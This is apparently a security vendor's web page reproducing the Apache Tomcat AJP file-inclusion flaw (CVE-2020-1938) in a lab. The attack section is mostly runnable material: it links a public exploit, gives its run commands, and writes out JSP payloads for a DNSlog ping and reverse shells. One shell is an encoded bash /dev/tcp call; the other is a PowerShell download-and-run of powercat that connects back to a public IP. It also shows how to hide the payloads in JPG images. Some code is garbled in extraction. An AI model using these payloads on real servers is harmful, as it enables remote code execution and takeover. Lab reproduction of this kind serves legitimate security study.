数字医学与健康大会DMHC——美创与您相约古都金陵
2025-08-12
美创科技打造县域医疗灾备新标杆|神木市医院 HIS 系统数据库分钟级切换演练实录
2025-07-02
百万罚单警示!DCAS助力金融机构筑牢数据安全防线,实现监管合规
2025-06-20
2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务环境搭建
Windows 10 x64
Apache Tomcat8.5.50
下载Tomcat8.5.50,解压
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.50/bin/
运行startup.bat,启动tomcat,http://127.0.0.1:8080/
Ajp是默认开启的,运行在8009端口
漏洞详情
漏洞介绍:
Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的ROOT目录下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。
受影响版本
Apache Tomcat 6
Apache Tomcat 7< 7.0.100
Apache Tomcat 8< 8.5.51
Apache Tomcat 9< 9.0.31
不受影响版本
Apache Tomcat =7.0.100
Apache Tomcat =8.5.51
Apache Tomcat =9.0.31
漏洞复现:
下载exp:
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
执行python2tomcat_file_read.py -p 8009 -f /WEB-INF/web.xml 192.168.99.145,可以成功读取web.xml文件
在ROOT目录下创建一个test.txt测试文件
python2tomcat_file_read.py -p 8009 -f test.txt 192.168.99.145
在ROOT目录下建立一个upload文件夹,模拟存在上传功能的应用环境,且只能上传图片文件。
创建文件dnslog.jsp、shell.jsp、1.jpg,生成需要进行文件包含的图片payload
DNSLOG测试:
<%
java.io.InputStreamin = Runtime.getRuntime().exec("pingfiohed.dnslog.cn").getInputStream();
int a = -1;
byte`` b =new byte`2048`;
out.print("
");");while((a=in.read(b))!=-1){
out.println(newString(b));
}
out.print("
%>
Linux反弹shell(执行的命令需要去http://www.jackson-t.ca/runtime-exec-payloads.html转换一下):
<%
java.io.InputStreamin = Runtime.getRuntime().exec("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte`` b =new byte`2048`;
out.print("
");");while((a=in.read(b))!=-1){
out.println(newString(b));
}
out.print("
%>
Windows反弹shell:
<%
java.io.InputStreamin = Runtime.getRuntime().exec("powershell IEX(New-ObjectSystem.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 121.196.124.61 -p 12583 -e cmd").getInputStream();
int a = -1;
byte`` b =new byte`2048`;
out.print("
");");while((a=in.read(b))!=-1){
out.println(newString(b));
}
out.print("
%>
合成payload图片:
copy 1.jpg/b + dnslog.jsp/a dnslog.jpg
copy 1.jpg/b + shell.jsp/a shell.jpg
将dnslog.jpg、shell.jpg复制到/ROOT/upload目录下进行文件包含测试
python2 tomcat_file_include.py -p 8009 -fupload/dnslog.jpg 192.168.99.145
nc监听7777端口,nc -lvvp 7777
python2 tomcat_file_include.py -p 8009 -fupload/shell.jpg 192.168.99.145
成功反弹shell